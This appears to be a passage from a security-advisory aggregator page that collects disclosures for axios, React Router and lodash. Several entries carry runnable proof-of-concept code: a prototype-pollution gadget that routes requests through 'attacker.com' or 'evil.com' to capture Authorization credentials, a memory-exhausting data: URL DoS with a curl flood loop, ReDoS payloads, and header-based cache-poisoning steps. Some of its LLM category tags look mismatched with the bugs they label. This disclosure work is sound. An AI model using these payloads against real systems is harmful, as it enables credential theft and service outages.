or maxBodyLength values. Relevant configurations include: adapter: 'fetch' adapter: ['fetch', ...] when fetch is selected environments where neither xhr nor http is available and axios falls back to fetch custom fetch environments configured through env.fetch Unaffected functionality includes: Node.js default http adapter enforcement versions before the fetch adapter was introduced configurations that do not rely on finite axios size limits Technical Details In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit. The fix in e5540dc added: maxContentLength and maxBodyLength reads in lib/adapters/fetch.js upfront data: URL decoded-size checks outbound body-size checks before dispatch Content-Length response pre-checks streaming response enforcement fallback checks for environments without ReadableStream regression tests in tests/unit/adapters/fetch.test.js Proof of Concept of Attack ``js import http from 'node:http'; import axios from 'axios'; const server = http.createServer((req, res) => { let received = 0; req.on('data', chunk => { received += chunk.length; }); req.on('end', () => { res.end(JSON.stringify({ received })); }); }); await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/; await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 }); // Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERR_BAD_REQUEST. server.close(); ` Workarounds Use the Node.js http adapter for server-side requests where finite size limits are security-relevant. Validate or cap attacker-controlled request bodies before passing them to axios. Reject or strictly allowlist attacker-controlled URL schemes, especially data:` URLs, before calling axios. <details> <summary>Original Report</summary> Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage. Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: lib/adapters/fetch.js (146-160): config destructuring does not include these controls. lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits. PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: adapter: 'fetch' maxBodyLength: 1024 3. Request a 4 KiB data: URL with: adapter: 'fetch' maxContentLength: 16 Expected secure behavior: both requests rejected. Observed: Upload: success, server received 2097152 data: response: success, length 4096 Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details> ---

React Router vulnerable to DoS via unbounded path expansion in __manifest endpoint

There exists a potential DOS attack vector in React Router Framework Mode applications (as well as Remix v2.10.0 - 2.17.4). Certain requests can be crafted to consume disproportionate resources on the server, resulting in response time degredation and/or service unavailability for end users. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

React Router's vendored turbo-stream v2 allows arbitrary constructor invocation via TYPE_ERROR deserialization leading to Unauth RCE

When using React Router v7 in Framework Mode, there exists a combination of steps that could potentially allow unauthorized RCE through external requests. This first requires the application code to have an existing prototype pollution vulnerability. This can be leveraged into a 2-step attack in which the second step can trigger unauthorized RCE on the remote server. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

React Router vulnerable to XSS in unstable RSC redirect handling via javascript: redirect targets

When using React Router v7's unstable RSC APIs, there exists a potential client-side XSS issue in the RSC redirect handling if redirects are coming from untrusted sources > [!NOTE] > This only impacts your application if you are using the unstable RSC APIs in React Router.

OWASP A03OWASP Web
Get guardrail →

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') CVSS 3.1 Score: 9.4 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | Why This Bypasses mergeConfig The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means: 1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy() This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it. Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: ``javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ` 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: `javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ` 3. The Execution At http.js:668-670: `javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ` setProxy() at http.js:191-239 then: `javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ` 4. The Impact (Full MITM) The attacker's proxy server receives: `http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, / ` The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: Sees every request URL, header, and body Modifies every response (inject malicious data, change auth results) Logs all API keys, session tokens, and passwords Operates as an invisible proxy — the developer has no indication 5. Verified PoC Code `javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ` Verified PoC Output ` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget) ` Impact Analysis Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector. Why This Is More Severe Than transformResponse (axios_26) | Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely | Recommended Fix Fix 1: Use hasOwnProperty when reading security-sensitive config properties `javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location); ` Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty Properties not in defaults that are read by http.js and have security impact: config.proxy — MITM config.socketPath — Unix socket SSRF config.transport — request hijack config.lookup — DNS hijack config.beforeRedirect — redirect manipulation config.httpAgent / config.httpsAgent — agent injection All should use hasOwnProperty checks. Fix 3: Use null-prototype object for merged config `javascript // In lib/core/mergeConfig.js const config = Object.create(null); `` Resources CWE-1321: Prototype Pollution CWE-441: Unintended Proxy GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Summary Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. Affected Properties 1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests. 2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects. 5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests. Proof of Concept ``javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ` Impact Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers. Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server. SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. Code execution: Attacker-supplied functions execute during HTTP redirects. Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling. Root Cause mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values. The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection. Suggested Fix Apply the existing own() helper to all affected properties: `javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js`.

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

React Router vulnerable to XSS via Open Redirects

React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect. > [!NOTE] > This does not impact applications that use Declarative Mode (<BrowserRouter>).

OWASP A03OWASP Web
Get guardrail →

React Router SSR XSS in ScrollRestoration

A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys. > [!NOTE] > This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A03OWASP Web
Get guardrail →

React Router has XSS Vulnerability

A XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag. > [!NOTE] > This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A03OWASP Web
Get guardrail →

Axios is vulnerable to DoS attack through lack of data size check

Summary When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'. Details The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob. Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): ``js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } ` The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): `js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } ` The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs. PoC `js const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); ` Run with limited heap to force a crash: `bash node --max-old-space-size=100 poc.js ` Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: ` <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … ` Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS. `js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); / POST /preview { "url": "<http|https|data URL>" } Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). / app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 1024, // Axios will ignore this for data: maxBodyLength: 8 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT}); console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).); }); ` Run this app and send 3 post requests: `sh SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null` ` --- Suggestions 1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit. 2. Stream decoding Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

React Router allows pre-render data spoofing on React-Router framework mode

Summary After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values ​​of the data object passed to the HTML. Latest versions are impacted. Details The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code : <img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" /> To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader. Steps to reproduce Versions used for our PoC: "@react-router/node": "^7.5.0", "@react-router/serve": "^7.5.0", "react": "^19.0.0" "react-dom": "^19.0.0" "react-router": "^7.5.0" 1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation) 2. Add a simple page using a loader (example: routes/ssr) 3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr: !image We access it by adding the suffix .data and retrieve the data object, needed for the header: !image 4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error): !Capture d’écran 2025-04-07 à 05 56 10 As you can see, all values ​​have been changed/overwritten by the values ​​provided via the header. Impact The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side. Credits Rachid Allam (zhero;) Yasser Allam (inzo_)

React Router allows a DoS via cache poisoning by forcing SPA mode

Summary After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application. Details The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code : <img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" /> To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader. Steps to reproduce Versions used for our PoC: "@react-router/node": "^7.5.0", "@react-router/serve": "^7.5.0", "react": "^19.0.0" "react-dom": "^19.0.0" "react-router": "^7.5.0" 1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation) 2. Add a simple page using a loader (example: routes/ssr) !image 3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header: `` X-React-Router-SPA-Mode: yes `` Notice the difference between a request with and without the header; Normal request !Capture d’écran 2025-04-07 à 08 36 27 With the header !Capture d’écran 2025-04-07 à 08 37 01 !image Impact If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack. Credits Rachid Allam (zhero;) Yasser Allam (inzo_)

Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

OWASP A10LLM02 · Insecure OutputOWASP Web
Get guardrail →
10 rules

lodash vulnerable to Code Injection via `_.template` imports key names

Impact The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template use

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

Summary Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie. The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie. Impact Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper. This does not expose credentials, modify requests, or affect response integrity. The impact is availability only. Affected Functionality Affected code paths: lib/helpers/cookies.js read(name) in standard browser environments. lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config. lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie. Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names. Unaffected code paths: Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled. Requests with xsrfCookieName: null. Node HTTP adapter usage without browser document.cookie. React Native and web workers where axios does not use standard browser cookie access. Technical Details Affected versions interpolate the cookie name into a regex. ``js const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); ` Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie. The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality. Proof of Concept of Attack `js function vulnerableRead(name, cookie) { const start = Date.now(); try { cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); } catch {} return Date.now() - start; } for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms); } ` Expected result: timings grow rapidly as the cookie string length increases. Workarounds Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie. Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios. Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names <details> <summary>Original Source</summary> Regular Expression Denial of Service (ReDoS) via Cookie Name Injection 1. Title ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction 2. Affected Software and Version Software: Axios Version: 1.15.0 (and potentially earlier versions) Component: lib/helpers/cookies.js Ecosystem: npm (Node.js / Browser) 3. Vulnerability Type / CWE Type: Regular Expression Denial of Service (ReDoS) CWE-1333: Inefficient Regular Expression Complexity CWE-400: Uncontrolled Resource Consumption 4. CVSS 3.1 Score Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | Metric | Value | |---|---| | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality | None | | Integrity | None | | Availability | High | 5. Description The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp(): `javascript const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); ` An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition. With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop. 6. Root Cause Analysis File: lib/helpers/cookies.js Line: 33 `javascript read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; }, ` The vulnerability exists because: 1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters. 2. An attacker can inject regex constructs that create exponential backtracking scenarios. 3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie. The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61: `javascript const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); ` The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection. 7. Proof of Concept `javascript // poc_redos_cookie.js // Simulates browser environment for testing // Simulate document.cookie globalThis.document = { cookie: 'session=abc; ' + 'a'.repeat(50) }; // Replicate the vulnerable cookies.read() logic function cookiesRead(name) { const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; } // Malicious cookie name that triggers catastrophic backtracking // The pattern creates nested quantifiers: (a]|[a]|...)) const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10); const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern console.log('=== ReDoS via Cookie Name Injection PoC ==='); // Test with increasing payload sizes for (const len of [15, 20, 25]) { const payload = '(([^;])+)+' + 'X'.repeat(len); const start = Date.now(); try { cookiesRead(payload); } catch (e) { // May throw on invalid regex, 